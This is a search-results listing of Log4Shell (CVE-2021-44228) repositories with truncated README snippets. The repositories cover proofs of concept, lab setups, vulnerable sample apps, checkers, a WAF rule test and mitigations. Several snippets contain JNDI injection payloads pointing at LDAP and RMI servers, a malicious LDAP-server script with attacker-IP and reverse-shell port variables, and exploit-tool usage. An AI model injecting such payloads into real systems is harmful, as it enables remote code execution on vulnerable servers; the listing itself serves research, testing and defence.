34 matches found
CVE-2021-44228-PoC
CVE-2021-44228 Log4Shell Proof of Concept Apache Log4j2 =2.14.1 JNDI features used in configuration, log messages, and parameters do not protect against attacker controlled LDAP and other JNDI related endpoints. An attacker who can control log messages or log message parameters can execute...
log4j-exploit-fork-bomb
log4j-exploit-with-fork-bomb 💣💥💀 Proof of Concept: example of launching a fork bomb on a remote server due to vulnerability CVE-2021-44228 1. Create an attacker's LDAP server server module that will serve string and code payloads payload module 2. Create a victim example victim module and pass a...
CVE-2021-44228-Log4Shell-
CVE-2021-44228-Log4Shell- Penetration testing 1. Create malicious LDAP Server using Marshalsec !/bin/bash Script: startldapserver.sh Yêu cầu: Cài đặt Java và Marshalsec https://github.com/mbechler/marshalsec LDAPPORT="1389" HTTPPORT="8000" ATTACKERIP="192.168.0.101" REVERSEPORT="5555" echo "+ Khở...
log4j2-issue-check
Evaluate the Log4Shell: RCE 0-day Issue This repo contains the code to evaluate Log4j2 issue CVE-2021-44228 More details https://www.lunasec.io/docs/blog/log4j-zero-day/ How to Test Send GET request with query parameter as $jndi:ldap://127.0.0.1:3089/. root@kitploit:...
Apache-Log4j-POC
Apache-Log4j-POC CVE-2021-44228 Proof of Concept of apache log4j LDAP lookup vulnerability You can read more about the vulnerability here: https://blog.cloudflare.com/inside-the-log4j2-vulnerability-cve-2021-44228/ How to run the provided ldap server that returns malicious object ? java -jar...
log4j-cve-2021-44228
Log4j CVE-2021-44228 and CVE-2021-45046 Requisites Use a vulnerable JDK, for instance JDK 1.8.0181 Usage Malicious server The malicious server deploys the following endpoints: 1389 LDAP server 1099 RMI server 8081 HTTP server root@kitploit: ./gradlew :malicious-server:bootRun Vulnerable applicati...
log4j2-CVE-2021-44228
Sample Log4j2 vulnerable application CVE-2021-44228 Versions Affected: all versions from 2.0-beta9 to 2.14.1 This application is based on Spring Boot web application vulnerable to CVE-2021-44228 It uses Log4j 2.14.1 through spring-boot-starter-log4j2 2.6.1. Running the application Run it:...
CVE-2021-44228
CVE-2021-44228 checker This is the repository for checking for vulnerability CVE-2021-44228. This is a PoC that only displays strings without any external class loading. It cannot be used for arbitrary code execution. How it works? Step 1: Run the server application The image...
CVE-2021-44228-Demo
CVE-2021-44228-Demo An example of remotely injecting code via RMI and LDAP using CVE-2021-44228. root@kitploit: Exploit class from RMI Server loaded Hello, $jndi:rmi://127.0.0.1:1099/exploit Exploit class from LDAP Server loaded Hello, $jndi:ldap://127.0.0.1:1389/org.mazhuang.ldap.Exploit RmiServ...
test-44228
test-44228 A simple example for CVE-2021-44228 Implements two java CLIs, one using log4j v1.x, the other using log4j 2.x to demonstrate the log4shell vulnerability. See also: https://www.lunasec.io/docs/blog/log4j-zero-day/ https://www.oracle.com/security-alerts/alert-cve-2021-44228.html Usage...
ModSec-log4j2
Testing the ModSec rule Prerequisites Have docker installed Have Java installed on your machine Running the test Perform a git clone of the repository Execute the command below to start the WAF ModSec and the vulnerable application root@kitploit: docker stack deploy -c docker-compose.yml WAF...
CVE-2021-44228-Apache-Log4j
CVE-2021-44228 Ejecución Remota de Código en Apache Log4j Versiones afectadas: todas las versiones desde 2.0-beta9 hasta 2.12.1 y desde 2.13.0 hasta 2.15.0 Avisos / Boletines de seguridad vinculados a Log4Shell CVE-2021-44228 Uso: 1. Descargue el proyecto y compile InjectClazz.java root@kitploit:...
log4shell-exploitation-lab
Log4Shell Exploitation Lab CVE-2021-44228 Reproduced the Log4Shell vulnerability end to end in an isolated lab environment, from initial exploitation through to a full remediation report. Done as a paired piece of MSc coursework with Aditya Chaudhari, written up together as a joint report. What I...
JNDI-Exploit-1.2-log4shell
JNDI-Exploit-1.2-log4shell Details : CVE-2021-44228 Usage : root@kitploit: ----------------------------------------------------- java -jar JNDIExploit-1.2.jar -i AttackerIP -i, --ip Local ip address -l, --ldapPort Ldap bind port default: 1389 -p, --httpPort Http bind port default: 8080 -u, --usag...
log4shell-cve-lab
Log4Shell CVE-2021-44228 lab This repository contains a small vulnerable Log4j 2.14.1 HTTP service for CVE-2021-44228. Sentinel reproduced this scenario on 2026-08-27 as a from-scratch sandbox lab. The important properties from that run are preserved here: attacker-controlled User-Agent reaches a...
log4j-jndi-be-gone
log4j-jndi-be-gone 一个基于 Byte Buddy Java agent 的修复方案,用于 CVE-2021-44228,即 log4j 2.x 的 "JNDI LDAP" 漏洞。 它做三件事: 禁用 jndi: 格式字符串("lookups")的内部方法处理器。 向 System.err(即 stderr)记录一条消息,表明发生了 log4j JNDI 尝试(包括尝试的格式字符串,其中任何 $ 字符均被清理以防止传递注入)。 将格式字符串解析为日志消息中的 "log4j jndi disabled"(以防止传递注入)。 使用方法 将...
detect-log4j-exploitable
CVE-2021-44228 An attacker who can control log messages or log message parameters can execute arbitrary code loaded from LDAP servers when message lookup substitution is enabled. This script will help to detect log4j exploit from the running process. It helps to find if any system is exploitable ...
CVE-2026-21011-Log4j-style-JNDI-Injection-in-Custom-Logger-Simulated-
CVE-2026-21011 – Log4j‑style JNDI Injection in Custom Logger Simulated Program Code Java simulation in Python root@kitploit: log4jsim.py - Custom logger that evaluates $... patterns import subprocess, re def logmessage: Vulnerable: looks up JNDI-like syntax and executes pattern = r'$\jndi:.+?'...
homelab-CVE-2021-44228
Homelab: Log4Shell CVE-2021-44228 in Apache Solr Docker による管理環境で、Apache Solr における Log4Shell 脆弱性の再現と学習を行います。 環境 ターゲット solr-lab: Apache Solr v8.11.0 vulhub/solr:8.11.0 で、脆弱性のある Log4j バージョンが実行されています。 攻撃者 kali-lab: nmap、curl、netcat がプリインストールされた基本的な Kali Linux コンテナ。 ラボの起動方法 1. コンテナの起動...
log4j2-test
Log4j2 2.14.1 LDAP Remote Code Execution Vulnerability CVE-2021-44228 Verification 🎈 Tested on Spring Boot 2.x environment Vulnerability advisory https://nvd.nist.gov/vuln/detail/CVE-2021-44228 target-server pom.xml : Downgraded Log4j2 version to a vulnerable version root@kitploit: 17 2.14.1...